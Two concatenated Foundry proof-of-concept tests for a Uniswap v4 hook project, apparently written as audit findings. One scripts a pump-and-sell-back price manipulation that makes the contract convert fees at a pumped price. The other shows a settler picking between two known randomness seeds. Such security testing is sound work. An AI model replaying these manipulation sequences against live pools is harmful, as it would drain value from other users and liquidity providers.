import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

contract ProofBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function set(uint64 round, bytes32 value) external {
        randomness[round] = value;
    }

    function prove(uint64 round, bytes calldata signature) external returns (bytes32) {
        if (randomness[round] == bytes32(0)) randomness[round] = keccak256(signature);
        return randomness[round];
    }
}

/// Finding: an exact-input GAMMA sell is observed before it moves the price (the hook reports its fee from
/// beforeSwap) and never after, so obsPrice can hold a price the pool did not end the block at. A pump and
/// sell-back in block N leaves the pumped price as the "earlier block" reference; pumping again in block N+1
/// lets convertPendingImd buy GAMMA at the pumped price, which the earlier-block reference was meant to stop.
contract StaleSellObservationProof is Test {
    PoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    PoolSwapTest router;
    MockERC20 imd;
    GammaToken gamma;
    GammaGame game;
    PoolKey key;
    bool gammaIs0;
    address trader = makeAddr("trader");
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(1_760_000_000);
        manager = new PoolManager(address(this));
        lpRouter = new PoolModifyLiquidityTest(manager);
        router = new PoolSwapTest(manager);
        imd = new MockERC20("Identity.md", "IMD", 18);
        ProofBeacon beacon = new ProofBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));
        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);
        gammaIs0 = address(gamma) < address(imd);
        key = PoolKey({
            currency0: Currency.wrap(gammaIs0 ? address(gamma) : address(imd)),
            currency1: Currency.wrap(gammaIs0 ? address(imd) : address(gamma)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(hookAddr)
        });
        manager.initialize(key, 79228162514264337593543950336);
        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lpRouter), type(uint256).max);
        imd.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(60),
                tickUpper: TickMath.maxUsableTick(60),
                liquidityDelta: 100_000_000e18,
                salt: 0
            }),
            ""
        );
        game.initialize(key);
        vm.warp(block.timestamp + 97 minutes); // floor fee
    }

    function _swap(address who, bool sellGamma, int256 amountSpecified) internal {
        ERC20 tokenIn = sellGamma ? ERC20(address(gamma)) : ERC20(address(imd));
        vm.startPrank(who);
        tokenIn.approve(address(router), type(uint256).max);
        bool zeroForOne = sellGamma == gammaIs0;
        router.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
        vm.stopPrank();
    }

    function _price() internal view returns (uint160 p) {
        (p,,,) = StateLibrary.getSlot0(manager, PoolIdLibrary.toId(key));
    }

    /// GAMMA price in IMD, scaled by 1e18, from a sqrtPriceX96.
    function _gammaPrice(uint160 sqrtP) internal view returns (uint256) {
        uint256 p = uint256(sqrtP) * uint256(sqrtP) / (1 << 96) * 1e18 / (1 << 96);
        return gammaIs0 ? p : 1e36 / p;
    }

    function test_sellBackHidesTheEndOfBlockPriceFromConvert() public {
        // Ordinary exact-output buys leave IMD fees pending.
        imd.mint(trader, 100_000_000e18);
        _swap(trader, false, int256(2_000_000e18));
        _swap(trader, false, int256(2_000_000e18));
        assertGt(game.pendingImd(), 0);

        // Block N: pump with IMD, then sell all the GAMMA back. The pool ends the block near where it started.
        vm.roll(vm.getBlockNumber() + 1);
        uint256 honest = _gammaPrice(_price());
        imd.mint(attacker, 200_000_000e18);
        _swap(attacker, false, -int256(60_000_000e18));
        _swap(attacker, true, -int256(gamma.balanceOf(attacker)));
        uint256 endOfBlockN = _gammaPrice(_price());
        emit log_named_uint("honest", honest);
        emit log_named_uint("endN", endOfBlockN);
        emit log_named_uint("obsN", _gammaPrice(game.obsPrice()));
        assertLt(endOfBlockN, honest * 110 / 100, "block N ends near the honest price");

        // Block N+1: pump again in the same transaction as the conversion.
        vm.roll(vm.getBlockNumber() + 1);
        _swap(attacker, false, -int256(40_000_000e18));
        uint256 pumped = _gammaPrice(_price());
        emit log_named_uint("pumped", pumped);
        emit log_named_uint("prevObs", _gammaPrice(game.prevObsPrice()));
        assertGt(pumped, endOfBlockN * 110 / 100, "the pool is pumped >10% above where block N ended");

        uint256 pending = game.pendingImd();
        uint256 held = game.gammaHeld();
        game.convertPendingImd(0);
        assertEq(game.pendingImd(), pending, "converted at a price pumped in this transaction");
        assertEq(game.gammaHeld(), held);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

contract ProofBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function set(uint64 round, bytes32 value) external {
        randomness[round] = value;
    }

    function prove(uint64 round, bytes calldata signature) external returns (bytes32) {
        if (randomness[round] == bytes32(0)) randomness[round] = keccak256(signature);
        return randomness[round];
    }
}

/// Finding: after a fallback commitment, the drand round still wins if somebody proves it before the committed
/// hash is read. From the block after the commitment both candidate seeds are public, so a lone settler picks the
/// epoch seed: call settle to lock the fallback, or prove the (already published) drand round first.
contract SettlerPicksSeedProof is Test {
    PoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    PoolSwapTest router;
    MockERC20 imd;
    GammaToken gamma;
    GammaGame game;
    PoolKey key;
    bool gammaIs0;
    address alice = makeAddr("alice");
    ProofBeacon beacon;

    function setUp() public {
        vm.warp(1_760_000_000);
        manager = new PoolManager(address(this));
        lpRouter = new PoolModifyLiquidityTest(manager);
        router = new PoolSwapTest(manager);
        imd = new MockERC20("Identity.md", "IMD", 18);
        beacon = new ProofBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));
        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);
        gammaIs0 = address(gamma) < address(imd);
        key = PoolKey({
            currency0: Currency.wrap(gammaIs0 ? address(gamma) : address(imd)),
            currency1: Currency.wrap(gammaIs0 ? address(imd) : address(gamma)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(hookAddr)
        });
        manager.initialize(key, 79228162514264337593543950336);
        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lpRouter), type(uint256).max);
        imd.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(60),
                tickUpper: TickMath.maxUsableTick(60),
                liquidityDelta: 100_000_000e18,
                salt: 0
            }),
            ""
        );
        game.initialize(key);
        vm.warp(block.timestamp + 97 minutes); // floor fee
    }

    function test_settlerCannotChooseBetweenTwoKnownSeeds() public {
        imd.mint(alice, 1_000_000e18);
        vm.prank(alice);
        imd.approve(address(game), type(uint256).max);
        GammaGame.BeaconProof[] memory none;
        uint256 e = game.currentEpoch();
        vm.prank(alice);
        uint256 id = game.buyEnergies(2, 10, 20_000e18, none);

        // Nobody proved the drand round for 2h (it is published, its value is public off-chain).
        bytes32 drand = keccak256("published drand round");
        vm.warp(game.epochEnd(e) + 2 hours);
        vm.roll(1000);
        game.settle(256, none); // commits the fallback to block 1000
        assertEq(game.fallbackBlock(e), 1000);
        vm.roll(1001);
        vm.setBlockhash(1000, keccak256("block 1000"));

        // Block 1001: both seeds are known. Option A: settle and lock the fallback.
        uint256 snap = vm.snapshotState();
        game.settle(256, none);
        bytes32 seedA = game.epochSeed(e);
        uint256 survivorsA = game.getBatch(id).survivors;
        vm.revertToState(snap);
        // Option B: prove the drand round, then settle.
        beacon.set(game.roundForEpoch(e), drand);
        game.settle(256, none);
        bytes32 seedB = game.epochSeed(e);
        uint256 survivorsB = game.getBatch(id).survivors;

        emit log_named_uint("survivors with fallback", survivorsA);
        emit log_named_uint("survivors with drand", survivorsB);
        assertEq(seedA, seedB, "the settler chose the epoch seed after seeing both candidates");
    }
}